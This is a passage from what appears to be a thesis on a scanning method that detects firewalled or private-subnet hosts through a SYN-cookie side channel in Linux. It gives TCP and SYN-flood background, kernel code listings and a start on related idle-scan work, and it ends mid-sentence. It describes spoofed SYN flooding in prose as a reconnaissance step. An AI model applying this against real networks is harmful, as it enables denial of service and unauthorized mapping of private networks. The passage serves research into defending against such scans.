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Chapter 1

Introduction

In the realm of network security, the initial step undertaken by any attacker involves port

scanning. This exploratory analysis is of great importance as it enables an attacker to de-

termine the presence of vulnerable devices and grasp critical information. By scrutinising

the network landscape, an attacker can discern details such as the number of connected

devices, their operating system, open ports, running software, and even specific vulner-

abilities they may harbour. This foundational reconnaissance lays the groundwork for

subsequent offensive actions.

However, our focus diverges slightly from the conventional approach. Rather than

emphasising general reconnaissance, we delve into the challenge of device identification.

Specifically, our research aims to determine the existence of devices whose direct access

is filtered, perhaps by a firewall, or whose positioning within the network confines them

to an internal subnet. These devices remain accessible solely from within the confines of

that subnet, rendering them invisible to external probing.

1.1 Significance and Motivation

Why does this matter? The identification of such hidden or restricted-access devices

holds immense value. Not only does it expand the attack surface in terms of potential

victim devices, but it also sheds light on the topology of private networks, networks

that, by their very nature, should remain discreet. By unravelling the intricacies of these

concealed devices, we gain insights into the network’s architecture, potentially uncovering

critical nodes and pathways.
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1 – Introduction

1.2 Current State and Challenges

At present, existing methodologies and implementations offer intriguing starting points

for addressing this problem. However, practical implementation remains challenging, and

these approaches grapple with issues related to statistical validity. The results obtained

often lack robustness, hindering their real-world applicability.

1.3 Our Approach

In contrast, our methodology adopts a more deterministic stance. Leveraging a novel

side channel, we propose a new scanning methodology aiming to bypass the limitations

of probabilistic approaches. Capitalising on scenarios where SYN cookies are active, our

approach promises greater precision and reliability, paving the way for a more effective

identification of hidden devices within private network boundaries.

A graphical representation of the new scanning methodology is presented in Fig.1.1

Figure 1.1: SYN Cookie Scan

In this scenario an Attacker is assumed to not be able to connect to devices concealed

behind a firewall, or in private networks, such as Databases. By inferring SYN Cookies’

activation, through a side channel in its generation function, it becomes feasible to discern

the existence of such hidden devices. At first the Attacker is required to send a high

number of SYN packets to the Web Server, spoofing the source IP address and matching
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1 – Introduction

it with the Database’s one. This would eventually trigger a SYN Flood at the Web Server,

which enables SYN Cookies. Being able to detect their activation, unintendently leaks

more information than it should, wielding significant power in the hands of an attacker.

However, due to the lack of comprehensive documentation on SYN Cookies and their

activation threshold within the Linux Kernel, additional investigation was necessary to

address this gap. A significant contribution of this thesis lies precisely in shedding light

on this aspect.

In subsequent chapters, we delve into the technical details, experimental results, and

implications of our approach. By bridging the gap between theory and practical imple-

mentation, we aspire to contribute significantly to the field of network security.

1.4 Structure of the Thesis

Chapter 2 presents theoretical background notions underlying (previous and current)

notable work on the topic of network host scanning; Chapter 3 proposes a new scan-

ning methodology capitalizing on a novel side channel targeting SYN Cookies. Finally,

Chapter 4 shows some experimental results leveraging the aforementioned new scanning

approach.
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Chapter 2

Background

This chapter aims at providing the fundamental theoretical notions underlying the top-

ics presented in the following chapters. In particular we explore the TCP protocol, its

inner mechanisms and peculiarities, which will be leveraged by some attacks explained

in upcoming sections. Additionally, we analyse Denial of Service (DoS) attacks and miti-

gation strategies, such as SYN Cache and SYN Cookies. Furthermore, we investigate the

concept behind Side Channel Attacks and their often underestimated relevance in such

a framework. Finally, we conduct a comprehensive literature review, examining what

has already been proposed and implemented, discuss the limits of those approaches and

identify areas for improvement.

2.1 The TCP Protocol

The Transmission Control Protocol (TCP) is a connection-oriented protocol which pro-

vides reliable, in-order, byte-stream service to applications. Many Internet Applications

are run on hosts communicating through the TCP Protocol, which is part of the TCP/IP

Network Stack.[11]

The TCP Protocol takes care of two things: Multiplexing and Reliable Transfer.

Multiplexing: In telecommunications and computer networking, multiplexing (some-

times contracted to muxing) is a method by which multiple analog or digital signals

are combined into one signal over a shared medium. In the TCP protocol this con-

cept is used to achieve separate streams of data in a single one, i.e.: by means of
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2 – Background

a single IP it is possible to establish different TCP connections targeting differ-

ent applications (or even a replicated service on multiple ports). The OS separates

the target of the received data-stream by their port number, and delivers data by

de-multiplexing it.

Reliable Transfer: just by leveraging the IP protocol it is not guaranteed that all sent

packets will arrive at destination; this is because they may get lost, dropped or

discarded along the path. Layer 2 of the ISO/OSI stack may be the culprit, so

Layer 4 takes care of this issue. TCP reliability consists of detecting packet losses

(via sequence numbers) and errors (via per-segment checksums), as well as take

correction actions via retransmission.

The structure of the TCP header is presented in Fig.2.1:

Figure 2.1: TCP Header. Source: Image taken from [9]

Where:

• Source Port: 16 bits. The source port number.

• Destination Port: 16 bits. The destination port number.

• Sequence Number : 32 bits. The sequence number of the first data octet in this

segment (except when the SYN flag is set). If SYN is set, the sequence number is

the initial sequence number (ISN) and the first data octet is ISN+1. (Randomly

Chosen)

5



2 – Background

• Acknowledgment Number : 32 bits. If the ACK control bit is set, this field contains

the value of the next sequence number the sender of the segment is expecting to

receive.

• Data Offset (DOffset): 4 bits. The number of 32-bit words in the TCP header. This

indicates where the data begins. The TCP header (even one including options) is

an integer multiple of 32 bits long.

• Reserved (Rsrvd): 4 bits. A set of control bits reserved for future use. Must be zero in

generated segments and must be ignored in received segments if the corresponding

future features are not implemented by the sending or receiving host.

• Control bits: The control bits are also known as "flags". Assignment is managed by

IANA from the "TCP Header Flags" registry.

– URG: 1 bit.

– ACK: 1 bit.

– PSH: 1 bit.

– RST: 1 bit. Reset the connection.

– SYN: 1 bit. Synchronize sequence numbers.

– FIN: 1 bit. No more data from sender.

• Window: 16 bits. The number of data octets beginning with the one indicated in the

acknowledgment field that the sender of this segment is willing to accept. The value

is shifted when the window scaling extension is used. The window size MUST be

treated as an unsigned number, or else large window sizes will appear like negative

windows and TCP will not work (MUST-1).

• Checksum: 16 bits.

• Urgent Pointer : 16 bits. This field communicates the current value of the urgent

pointer as a positive offset from the sequence number in this segment. The urgent

pointer points to the sequence number of the octet following the urgent data. This

field is only to be interpreted in segments with the URG control bit set.

• Options: [TCP Option]; size(Options) == (DOffset-5)*32; present only when DOff-

set > 5. Note that this size expression also includes any padding trailing the actual
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2 – Background

options present. Options may occupy space at the end of the TCP header and are

a multiple of 8 bits in length. All options are included in the checksum.

An important option is the Maximum Segment Size (MSS). The MSS specifies the

largest amount of data, in bytes, that can be received in a single TCP segment. This

parameter is similar to the Maximum Transmission Unit (MTU) of the IP layer,

but contrary to that, it does not account for the TCP header; it is just related to

the payload size.

2.1.1 TCP Ports

As mentioned in 2.1, there may be multiple applications running on a single server, each

of which needs to be concurrently available and accessible. For this exact purpose, an

abstraction layer has been introduced, called TCP Ports. Every application that wants

to receive (or send) data needs to open a so-called TCP port.

Ports are managed by the Operating System, are identified by a 16-bit number, and

are generally divided in ranges:

• Well known ports: 0-1023 on Unix systems, services listening to these ports must

have root permissions. (specific services like SSH, telnet, web server)

• Registered Ports: 1024 to 49151. Assigned by IANA to services. These ports are still

used for servers/services but you are not required to be root to open them.

• Ephemeral Ports: 49152 to 65535. Unallocated, used for outgoing TCP connections.

These are not meant to run services, but to open connections to other hosts.

When an IP packet is sent to a specific port of the target host, the packet will actually

be delivered to the corresponding application for which that port (just a number added

to the TCP header) has been assigned to.

2.1.2 TCP Connections

In the TCP/IP suite, a "communication" is defined among two hosts that leverage the

client-server model.

TCP Connections are bi-directional and can be used to send and receive data. So, a

connection is thus identified by 4 values:
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2 – Background

1. the source IP address (client machine)

2. the destination IP address (server machine)

3. the source TCP port (client machine)

4. the destination TCP port (server machine)

Although only a single connection can persist with the same four identifiers, it is possible

for two hosts to concurrently instantiate multiple connections by utilising distinct source

ports (typically chosen from the ephemeral ones) while sharing the same destination port.

This is motivated by performance reasons, because by retrieving information in parallel

from the server, the time required to obtain all necessary information can be significantly

reduced. This is important because since the source port of the client changes, the server

will treat the connections as separate ones, even though they have the same return IP

address. This detail is relevant when dealing with Denial of Service (DoS) Attacks.

The steps undergoing a TCP communication can be summarised in three main phases:

1. Connection Establishment

2. Data Exchange

3. Connection Termination.

Connection Establishment

Since TCP communications are bi-directional, the connection establishment phase has

been developed in such a way that both ends of the communication channel are aware

of the status of the connection and have the same information. In particular, a client is

able to understand whether an application at the server side opened a network socket on

a specific port and is waiting for an incoming connection; the same is true for the server,

so it knows if the client is alive and is willing to connect to the server. This is relevant

because routing is Dynamic and there can be packet loss or drops along the way

The TCP connection establishment procedure is called: Three-way Handshake and it

is shown in fig.2.2:

8



2 – Background

Figure 2.2: TCP Three-way Handshake

As implied by its name, the establishment of a connection to a specific service involves

the exchange of three packets. A detailed description of the steps follows:

1. The client sends the first packet with the SYN flag set. The packet contains the

source sequence number x (chosen randomly on a 232 bits space).

2. If the port is open, the server returns a SYN-ACK packet which includes:

• a new sequence number y for the data going to the client (again chosen randomly

on a 232 bits space)

• an ACK for x + 1: this literally means “I acknowledge the reception of all bytes

up to x, I am waiting for x + 1

At this stage the server knows that communication is possible from the client to the

server, but not the other way around (the client knows it only after the receival of

this message). For this reason a new line is added in the "Server Connection Table"

with the state half-open. The Connection Table is also called "SYN Backlog Queue"

3. Upon receival of the SYN-ACK packet, the client answers with an ACK packet. This

carries the sequence number x + 1, because it is only 1 byte long, and it also ACKs

y + 1. The server receives the ACK and the state in the connection table is changed

to open. (The server knows that the connection is bi-directional).

As soon as the Three-way handshake is completed, both ends can start to exchange

data.

9



2 – Background

Connection Termination

As far as the TCP Connection Termination is concerned, it is necessary to distinguish

two cases, one for the "soft" termination, and the other one for the "strong" termination.

In the first case, both ends "agree" on the termination of the ongoing connection, while

in the second case one end closes the connection abruptly.

The "soft" termination is performed by means of a four-way handshake, as shown in

fig.2.3; this is because each side of the connection terminates it independently. In more

detail:

1. the initiator of the termination process sends a FIN packet to the Receiver, and

waits for the acknowledgment of the sent packet.

2. the receiver replies with the acknowledgement of the received FIN packet

3. After the receival of the final ACK, the initiator waits for a timeout before finally

closing the connection, during which time the local port is unavailable for new

connections. Then the receiver closes the connection from its side by sending a FIN

packet to the initiator

4. the initiator, upon receival of the FIN packet will answer with an ACK packet, ter-

minating the connection on both ends.

Figure 2.3: TCP Connection Termination

When it comes to the "strong" termination of the TCP connection, it is enough to

send a RST packet with the correct sequence number to terminate it immediately, without

the need to send additional ACKs or any other kind of packet. This approach is mainly

used in emergency situations, when there is no time to do the abovementioned four-way

10



2 – Background

handshake protocol. However, there are other situations where RST packets are sent, for

example when errors are detected or, for instance, in the SYN Flooding Attack against a

TCP server, if the spoofed source IP address does belong to a running computer. When

a host receives a SYN-ACK packet for a connection not it did not initiate, no socket is

open, no port is waiting for incoming packets, so it will answer with a RST packet. This

behaviour is mandated by RFC 9293. Basically it tells the server to close the half-open

connection. [11][10]

2.2 TCP DoS Attacks

2.2.1 DoS Attacks

Denial of Service Attacks typically aim at saturating hosts’ (usually servers) resources

denying legitimate users the possibility to access them. The resources that an attacker

can try to saturate fall within the following three categories:

1. Bandwidth: A server is connected to the Internet and the local network through

some kind of physical mean (fiber, Ethernet cables) and it has a limited amount

of bandwidth available (coming from hard constraints, such as cables throughput,

or the maximum amount of parallel data-transfer that the ISP grants, ...). In this

setting an attacker may open a high number of connections, and try to saturate

the available bandwidth. However, if your server is within a Datacenter, so it is

leased, then you have a lot of bandwidth available, which is hard to saturate, not

to mention the fact that Data centers filter traffic nowadays.

2. CPU : each service run at a host (i.e. at the server-side) needs to elaborate data, and

there are CPU-intensive operations such as querying a Database. For this reason,

an attacker can try to trigger a high number of such intensive operations to clog the

server CPU. However, if your server is leased in the Cloud there is the possibility

to replicate an application service as needed, or to scale the resources of entire

machines up and down on demand. For this exact reason it is still hard to perform

this attack

3. Hard Constraints: rules on resources or parameter values that must be respected as

they are mandated. These constraints may deal with limits imposed by the Kernel,

such as the dimension of the mentioned TCP Connection Table (See Sect.2.2.2).

11
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2.2.2 SYN Flooding Attack

When a new TCP connection request is received by the server, the latter allocates some

space in the Connection Table to store connection-related information. This memory

buffer, granted for each connection, is called Transmission Control Block (TCB) and

includes enough data to identify the connection (ports, IPs), as well as a memory buffer

to temporarily store received data. This is essential when the final ACK packet of the

Three-way Handshake is received, because it allows to promote the pending "half-open"

connection to the "open" state.

Given this framework, is there a way to exploit the intended behaviour of the con-

nection establishment to perform an attack? To answer this questions it is important to

point out a few things: in Linux the amount of space taken up in memory for a TCB is

very small, 304 bytes1, so no problem, right? Actually, as already presented in Section

2.2.1, resources are limited in size, so it would be better to place a bound on the number

of possible connections that can be instantiated towards the server. This is because if

there is no bound on memory available, then at some point system memory will be com-

pletely filled up and the system will start to behave quaintly. For this reason, operating

systems place hard constraints on the number of concurrently open connections.

What happens, then, if an attacker tries to open millions of connections to the server?

Since the Connection Table has length and size limits, if the limit is exceeded, the kernel

discards the new connections or returns RST packets (See Sect.2.1.2). So, if an attacker

opens more connections than the maximum number of available ones, the TCP layer stops

accepting them, even if the system memory is not full. So, the service will be denied to

new legitimate users. This attack is called SYN Flooding Attack and can be perpetrated

either by sending SYN packets using the same IP address and choosing random source

TCP ports, or by spoofing the packets’ source IP address and substituting it with a

random one. Unfortunately, the first approach is straightforward to mitigate using a

firewall rule. The second solution, instead, poses a greater challenge because the server

struggles to differentiate between legitimate traffic and spurious requests. Nonetheless,

the second solution must adhere to specific constraints: it has to choose source IPs

ensuring they are not already in use. Failure to do so results in corresponding hosts

1Linux kernel source tree. URL. https://github.com/torvalds/linux/blob/ffc25326/
Documentation/networking/ip-sysctl.rst#L546
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responding with RST packets upon receival of the SYN-ACK packet; this is because it

was not the one initiating the connection (See Sect. 2.1.2). RST packets would remove

the corresponding entry from the Connection Table, thereby diminishing the attack’s

impact.

The root cause of the problem is that system memory is allocated after receiving the

initial SYN packet, not after the final ACK packet. That’s because the server needs to

correlate the SYN-ACK with the ACK, so it needs to store the state information upon the

receival of the SYN packet, namely the sequence number. This allows to saturate hard

constraints, such as the maximum number of pending (half-open) connections.

In Linux, the upper bound on the number of concurrently open connections is dynamic

and depends on the available RAM size. Nonetheless, there is a command that allows

to retrieve the exact number at runtime. For architectural reasons, there is a difference

between the maximum number of established (open) connections that can be instanti-

ated toward the server and the maximum number of pending (half-open) connections.

Linux leverages two separate buffers to store connections’ information, thus there are

two separate commands to get the respective values:

• To retrieve the maximum number of pending (half-open) connections the command

is:

$ cat /proc/sys/net/ipv4/tcp_max_syn_backlog

The Linux Kernel provides additional information2:

tcp_max_syn_backlog - INTEGER

Maximal number of remembered connection requests (SYN_RECV),
which have not received an acknowledgment from connecting

client.↪→

This is a per-listener limit.

The minimal value is 128 for low memory machines, and it will
increase in proportion to the memory of machine.

2Linux kernel source tree. URL. https://github.com/torvalds/linux/blob/ffc25326/
Documentation/networking/ip-sysctl.rst#L534
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If server suffers from overload, try increasing this number.

Remember to also check /proc/sys/net/core/somaxconn
A SYN_RECV request socket consumes about 304 bytes of memory.

• To retrieve the maximum number of established (open) connections the command

is:

$ cat /proc/sys/net/core/somaxconn

As in the previous case, the Linux Kernel provides additional information3:

somaxconn - INTEGER

Limit of socket listen() backlog, known in userspace as
SOMAXCONN.↪→

Defaults to 4096. (Was 128 before linux-5.4)
See also tcp_max_syn_backlog for additional tuning for TCP

sockets.↪→

However, it is only prior to Linux Kernel 2.6.20 that the first command actually

retrieves the correct maximum number of pending (half-open) connections. From Linux

2.6.20 there was a particular heuristic to compute the actual number[1]. According to

[17], the Linux SYN backlog size depends on three kernel variables:

1. The “backlog” argument of the listen() system call

2. The kernel variable net.core.somaxconn

3. The kernel variable net.ipv4.tcp_max_syn_backlog

Then, to compute the actual backlog size, the kernel takes the first variable (an

argument passed to the listen() call), adds 1 to it and then picks the rounded up

power of two (so if the value of the backlog variable is 256, it will become 512; this is

because 256 = 28, then we are required to add 1 to it and round up the resulting number

to next power of two, thus 29 = 512). This will be the final backlog size. However,

boundaries to the values that the listen() call yields are set too. In particular, the lower

3Linux kernel source tree. URL. https://github.com/torvalds/linux/blob/ffc25326/
Documentation/networking/ip-sysctl.rst#L310

14

https://github.com/torvalds/linux/blob/ffc25326/Documentation/networking/ip-sysctl.rst#L310
https://github.com/torvalds/linux/blob/ffc25326/Documentation/networking/ip-sysctl.rst#L310


2 – Background

bound of the backlog is hard coded to 8 in the kernel, and the upper bound depends on

the minimum between net.core.somaxconn and net.ipv4.tcp_max_syn_backlog. In

recent versions of the Linux Kernel, this is no longer the case and the upper bound is

set by net.core.somaxconn, as shown in Listing 2.1, lines 9–11. From Linux Kernel 5.4

onwards, the value of net.core.somaxconn is set equal to 4096.

Listing 2.1: Backlog Size Dimension

1 int __sys_listen(int fd, int backlog)
2 {
3 struct socket *sock;
4 int err, fput_needed;
5 int somaxconn;
6

7 sock = sockfd_lookup_light(fd, &err, &fput_needed);
8 if (sock) {
9 somaxconn =

READ_ONCE(sock_net(sock->sk)->core.sysctl_somaxconn);↪→

10 if ((unsigned int)backlog > somaxconn)
11 backlog = somaxconn;
12

13 err = security_socket_listen(sock, backlog);
14 if (!err)
15 err = READ_ONCE(sock->ops)->listen(sock, backlog);
16

17 fput_light(sock->file, fput_needed);
18 }
19 return err;
20 }

2.2.3 SYN Cache

One solution to protect against a SYN-Flooding Attack is to use the SYN cache. With

this solution, information about half-open connections is still stored on the server, but

compared to the traditional backlog queue (Connection Table), the amount of memory

necessary to remember the connections’ information is minimised. As RFC 4987 states,

this is due to the fact that it is not immediately allocated a full TCB for each incoming

connection, but this operation is delayed until the connection is fully established. This

is possible by saving a hash value containing the source and destination address of the

connection, the source and destination port and randomly chosen secret bits, selected

from the incoming SYN segment. This memory saving approach allows the server to
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remember more connections using the same amount of memory assigned to the traditional

backlog queue. The computed hash values are stored in separate hash-tables. In case a

hash-table is full, the oldest entry is replaced with a new one.[13][8]

2.2.4 SYN Cookies

Probably, the most used and effective countermeasure to SYN Flood Attacks are SYN

Cookies, originally invented by Daniel J. Bernstein in 1996, present in the RFC 4987,

and now a standard part of Linux and FreeBSD. The idea behind SYN cookies is that the

server, upon receiving a SYN packet, does not allocate any state in the Connection Table;

Instead, it generates a sequence number by means of a reversible function that includes

all the necessary information to recognise a host upon receival of the ACK packet. The

reversible function has the following input:

• Two secret values: sec1 and sec2. (Stored at the server and never revealed)

• TCP connection data: saddr, sport, daddr, dport, ISN. ISN is the Initial Se-

quence Number generated by the client. These pieces of information are all contained

in the initial SYN packet.

• A counter c, stored at the server (alongside sec1 and sec2), that is incremented

every minute and should never overflow.

• Additional data called MSS (See Sect. 2.1).

Starting from these values, the SYN Cookie is computed.

SYN Cookies Linux Implementation

In the Linux Kernel, SYN Cookies’ generation starts from the code shown in Listing 2.2:

Listing 2.2: SYN Cookie Init Sequence

1 __u32 cookie_v4_init_sequence(const struct sk_buff *skb, __u16 *mssp)
2 {
3 const struct iphdr *iph = ip_hdr(skb);
4 const struct tcphdr *th = tcp_hdr(skb);
5

6 return __cookie_v4_init_sequence(iph, th, mssp);
7 }
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The function cookie_v4_init_sequence() defines constant pointers to the IP and

TCP header structures of a received packet, stored in the input socket buffer. These

pointers will be passed as parameters to the __cookie_v4_init_sequence() function,

alongside a pointer to some other data, called MSS (one of the optional fields of the TCP

header, see Sect.2.1).

Then, to understand how SYN Cookies are actually generated, it is necessary to go

through all the chained function calls. In particular, Listing 2.3 shows the

__cookie_v4_init_sequence() function, which takes as input the aforementioned pa-

rameters and:

1. declares a mssind variable to store the index corresponding to the closest MSS value

in the msstab array (See Listing 2.4).

2. saves the dereferenced value of the Maximum Segment Size (MSS) received in SYN

packet.

3. iterates over the msstab array backwards to identify the closest MSS value (among

the stored ones) to the extracted one at the previous step

4. updates the mss value to the closest one in the msstab array

5. the function returns by calling the secure_tcp_syn_cookie() function with all

the necessary parameters to correctly compute the SYN cookie; In particular the

parameters passed are: the Source IP address, the Destination IP address, the source

TCP port, the destination TCP port, the Initial Sequence Number (ISN) and the

index corresponding to the closest MSS value in the msstab array.

Listing 2.3: SYN Cookie Init Sequence - 2

1 u32 __cookie_v4_init_sequence(const struct iphdr *iph, const struct
tcphdr *th,↪→

2 u16 *mssp)
3 {
4 int mssind;
5 const __u16 mss = *mssp;
6

7 for (mssind = ARRAY_SIZE(msstab) - 1; mssind ; mssind--)
8 if (mss >= msstab[mssind])
9 break;

10 *mssp = msstab[mssind];
11

17
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12 return secure_tcp_syn_cookie(iph->saddr, iph->daddr,
13 th->source, th->dest, ntohl(th->seq),
14 mssind);
15 }

Listing 2.4: msstab Array

1 /*
2 * MSS Values are chosen based on the 2011 paper
3 * 'An Analysis of TCP Maximum Segement Sizes' by S. Alcock and R.

Nelson.↪→

4 * Values ..
5 * .. lower than 536 are rare (< 0.2%)
6 * .. between 537 and 1299 account for less than < 1.5% of observed

values↪→

7 * .. in the 1300-1349 range account for about 15 to 20% of observed
mss values↪→

8 * .. exceeding 1460 are very rare (< 0.04%)
9 *

10 * 1460 is the single most frequently announced mss value (30 to 46%
depending↪→

11 * on monitor location). Table must be sorted.
12 */
13 static __u16 const msstab[] = {
14 536,
15 1300,
16 1440, /* 1440, 1452: PPPoE */
17 1460,
18 };

Finally, the TCP SYN Cookies is computed by means of the secure_tcp_syn_cookie()

function, as shown in Listing 2.5:

Listing 2.5: SYN Cookie Generation

1 static __u32 secure_tcp_syn_cookie(__be32 saddr, __be32 daddr, __be16
sport, __be16 dport, __u32 sseq, __u32 data)↪→

2 {
3 /*
4 * Compute the secure sequence number.
5 * The output should be:
6 * HASH(sec1,saddr,sport,daddr,dport,sec1) + sseq + (count *

2^24)↪→

7 * + (HASH(sec2,saddr,sport,daddr,dport,count,sec2) % 2^24).
8 * Where sseq is their sequence number and count increases every
9 * minute by 1.
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10 * As an extra hack, we add a small "data" value that encodes the
11 * MSS into the second hash value.
12 */
13 u32 count = tcp_cookie_time();
14 return (cookie_hash(saddr, daddr, sport, dport, 0, 0) +
15 sseq + (count << COOKIEBITS) +
16 ((cookie_hash(saddr, daddr, sport, dport, count, 1) + data)
17 & COOKIEMASK));
18 }

As previously mentioned, when SYN Cookies are enabled, no internal state is kept

at the server, except for three variables: sec1, sec2, c, that occupy a fixed amount

of memory. However, it is important to note that the first TCP packet may contain

some information that should be preserved in the optional fields of the TCP header,

such as the MSS value (related to the MTU, the maximum transmission unit that can

be exchanged down the line without being fragmented in smaller packets), or other

TCP options. These information is not repeated in any other packet, so it is lost if not

stored. In normal conditions these information are stored in the TCB, however, with

SYN cookies the server does not save them. In Linux, the MSS is encoded directly in the

cookie (placed in the sequence number field of the SYN-ACK packet), but other options

may not. This is because only a limited amount of data can be packed in the resulting

32-bit number (32-bits is the size of the Acknowledgement Number in the TCP header).

For this reason SYN Cookies are triggered only when the server is under attack and the

Connection Table is full4.

In particular:

tcp_syncookies - INTEGER

Only valid when the kernel was compiled with CONFIG_SYN_COOKIES
Send out syncookies when the syn backlog queue of a socket
overflows. This is to prevent against the common 'SYN flood attack'
Default: 1

Note, that syncookies is fallback facility.
It MUST NOT be used to help highly loaded servers to stand
against legal connection rate. If you see SYN flood warnings

4Linux kernel source tree. URL. https://github.com/torvalds/linux/blob/ffc25326/
Documentation/networking/ip-sysctl.rst#L770
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in your logs, but investigation shows that they occur
because of overload with legal connections, you should tune
another parameters until this warning disappear.
See: tcp_max_syn_backlog, tcp_synack_retries, tcp_abort_on_overflow.

syncookies seriously violate TCP protocol, do not allow
to use TCP extensions, can result in serious degradation
of some services (f.e. SMTP relaying), visible not by you,
but your clients and relays, contacting you. While you see
SYN flood warnings in logs not being really flooded, your server
is seriously misconfigured.

If you want to test which effects syncookies have to your
network connections you can set this knob to 2 to enable
unconditionally generation of syncookies.

SYN Cookies Activation Function

When SYN Cookies are enabled and a SYN Flooding attack has been detected, Ker-

nel logs (readable by issuing the command journalctl -t kernel) report a warning

message similar to:

dic 07 16:34:09 debian kernel: TCP: request_sock_TCP: Possible SYN
flooding on port 80. Sending cookies. Check SNMP counters.↪→

The function responsible for writing such message in kernel logs is contained in the

piece of kernel code shown by Listing 2.6. 5:

Listing 2.6: TCP SYN Flood action

1 static bool tcp_syn_flood_action(const struct sock *sk, const char
*proto)↪→

2 {
3 struct request_sock_queue *queue =

&inet_csk(sk)->icsk_accept_queue;↪→

4 const char *msg = "Dropping request";
5 struct net *net = sock_net(sk);
6 bool want_cookie = false;
7 u8 syncookies;
8

5Linux Kernel source tree. URL. https://github.com/torvalds/linux/blob/
ffc253263a1375a65fa6c9f62a893e9767fbebfa/net/ipv4/tcp_input.c#L6863
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9 syncookies = READ_ONCE(net->ipv4.sysctl_tcp_syncookies);
10

11 #ifdef CONFIG_SYN_COOKIES
12 if (syncookies) {
13 msg = "Sending cookies";
14 want_cookie = true;
15 __NET_INC_STATS(sock_net(sk),

LINUX_MIB_TCPREQQFULLDOCOOKIES);↪→

16 } else
17 #endif
18 __NET_INC_STATS(sock_net(sk), LINUX_MIB_TCPREQQFULLDROP);
19

20 if (!READ_ONCE(queue->synflood_warned) && syncookies != 2 &&
21 xchg(&queue->synflood_warned, 1) == 0) {
22 if (IS_ENABLED(CONFIG_IPV6) && sk->sk_family == AF_INET6)

{↪→

23 net_info_ratelimited("%s: Possible SYN flooding on
port [%pI6c]:%u. %s.\n",↪→

24 proto, inet6_rcv_saddr(sk),
25 sk->sk_num, msg);
26 } else {
27 net_info_ratelimited("%s: Possible SYN flooding on port

%pI4:%u. %s.\n",↪→

28 proto, &sk->sk_rcv_saddr,
29 k->sk_num, msg);
30 }
31 }
32 return want_cookie;
33 }

In particular, net_info_ratelimited() is the liable function. However, by look-

ing at the bigger picture the aim of the outer function is just to return a boolean

value, which is representative of the willingness to activate SYN Cookies. This de-

pends on two things: the first one is that SYN Cookies must be compiled in the kernel

in order to be activated, and the second caveat is that the user-dependent parameter

ipv4.sysctl_tcp_syncookies is equal to 1, otherwise they won’t.

However, Listing 2.6 shows no sign of socket buffer size, or related network structures,

so it is important to understand which function is calling tcp_syn_flood_action() to

get additional insights.

By further inspecting the source code, it becomes evident that the caller function is
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tcp_conn_request().6 The relevant snipped of code (of the abovementioned function)

is show in Listing 2.7:

Listing 2.7: SYN Cookies Activation Point

1 if ((syncookies == 2 || inet_csk_reqsk_queue_is_full(sk)) && !isn) {
2 want_cookie = tcp_syn_flood_action(sk, rsk_ops->slab_name);
3 if (!want_cookie)
4 goto drop;
5 }

Listing 2.7 shows a clear connection between the state of the queue and the activation

of SYN Cookies. In particular, if SYN Cookies are always enabled (syncookies == 2)

or the socket request queue is full, cookies activation is at first evaluated against the

constraints provided by tcp_syn_flood_action(), and then its activation is finalised.

The last thing to understand is when the socket request queue is to be considered

full. Listing 2.8 reports two functions that take care of that7:

Listing 2.8: SYN Cookies Activation Threshold

1 static inline int inet_csk_reqsk_queue_len(const struct sock *sk)
2 {
3 return reqsk_queue_len(&inet_csk(sk)->icsk_accept_queue);
4 }
5

6 static inline int inet_csk_reqsk_queue_is_full(const struct sock *sk)
7 {
8 return inet_csk_reqsk_queue_len(sk) >= sk->sk_max_ack_backlog;
9 }

It is possible to see that the socket request queue is full when its length is greater or

equal than sk_max_ack_backlog. Its value depends on the backlog variable, computed

as shown in Sect. 2.2.2.8

6Linux Kernel source tree. URL:https://github.com/torvalds/linux/blob/
ffc253263a1375a65fa6c9f62a893e9767fbebfa/net/ipv4/tcp_input.c#L6959C1-L6959C22

7Linux kernel source tree. URL. https://github.com/torvalds/linux/blob/ffc25326/include/
net/inet_connection_sock.h#L277C1-L285C2

8Linux kernel source tree. URL: https://github.com/torvalds/linux/blob/ffc25326/include/
net/sock.h#L301
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Listing 2.9: /net/sock.h - sk_max_ack_backlog

1 * @sk_max_ack_backlog: listen backlog set in listen()

Interestingly enough, this means that SYN Cookies are activated when the SYN

Backlog size is completely full, not when it gets closer to being filled up (See Sect.3.1).

2.3 Side-Channel Attacks

In Computer Security, a Side-Channel attack is a kind of offensive attack that is based

on unintended or implicit/collateral information flow/leak. Leaked information may not

necessarily be a design flaw of the protocol/program/algorithm, but instead just a flaw

of their implementation.

Some side-channel attacks require technical knowledge of the internal operations of

the analysed system, while others can be performed as black-box attacks.

The most commonly known Side Channel Attacks are:

• Timing Attack

• Fault Attack

• Power Analysis Attack

• EM Attack

• Acoustic Attack

• Visible Light Attack

For what concerns the project developed and presented within this thesis, side chan-

nels are one of the core elements of the developed attack framework. In a little more

detail, the side-channel considered deals with the peculiar and constrained implemen-

tation of SYN Cookies by means of the Linux Kernel. In particular, given that the

generation of SYN Cookies has size constraints (32-bit number), the value of the MSS

is rounded down to one among the values included in the msstab array, as presented in

Sect. 2.2.4 and Sect. 3.2. This gives rise to a possible side-channel attack, explained in

Chapter 3.

23



2 – Background

2.4 Literature Review

This section aims at providing an in-depth understanding of previous related work on

(Port) Scanning Vulnerabilities that leverages side-channel attacks related to the SYN

Backlog Queue (also known as Connection Table). The considered types of port scans

include SYN, SYN-ACK and RST scans, as well as variations of the idle-scans proposed

by Antirez in 1998.

2.4.1 Idle Port Scanning and Non-Interference Analysis of Net-

work Protocol Stacks Using Model Checking

In [6] and [3], Ensafi et al. proposed a novel method to stealthily scan a victim IP address.

To achieve this result, two approaches relying on the Idle Scan paradigm were introduced.

The first one is based on the TCP RST Rate limiting factor introduced in OSes, while

the second one on the behaviour of SYN Caches. The idea is that it is possible to scan

victims to which the attacker is not able to route packets to, and determine to some

extent the operating system running on the scanned host. This means that the targets

either reside in protected private networks or ports are filtered by firewall rules.

The proposed Idle Port Scanning approach is quite different from the traditional idle

scan developed by Antirez. In that setting, the attacker was required to send packets both

to the zombie machine and the victim machine; so, an unfiltered communication channel

to the victim was needed, not to mention the requirement of a global incrementing

IPID counter for the zombie machine. In this new approach, neither the global IPID

assumption nor the requirement of sending packets to the victim host is necessary; not

even forged/spoofed packets.

Since the focus is on scanning approaches leveraging SYN Backlog queue’s vulnera-

bilities, only the SYN Cache Scan is presented in this section. A graphical representation

of the scan is shown in Fig.2.4:
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Figure 2.4: SYN Cache Scan. Source: Image taken from [8]

The attack steps are laid out as follows:

1. The attacker sends a TCP segment with the SYN-flag to an open port of the idle

host, spoofing the source IP address and substituting it with one that is not in use.

This is done to perform the attack while remaining undetected as much as possible.

2. The idle host will respond with a TCP segment where the SYN-ACK flags are set.

Since the source address was spoofed and not in use, the message will reach no

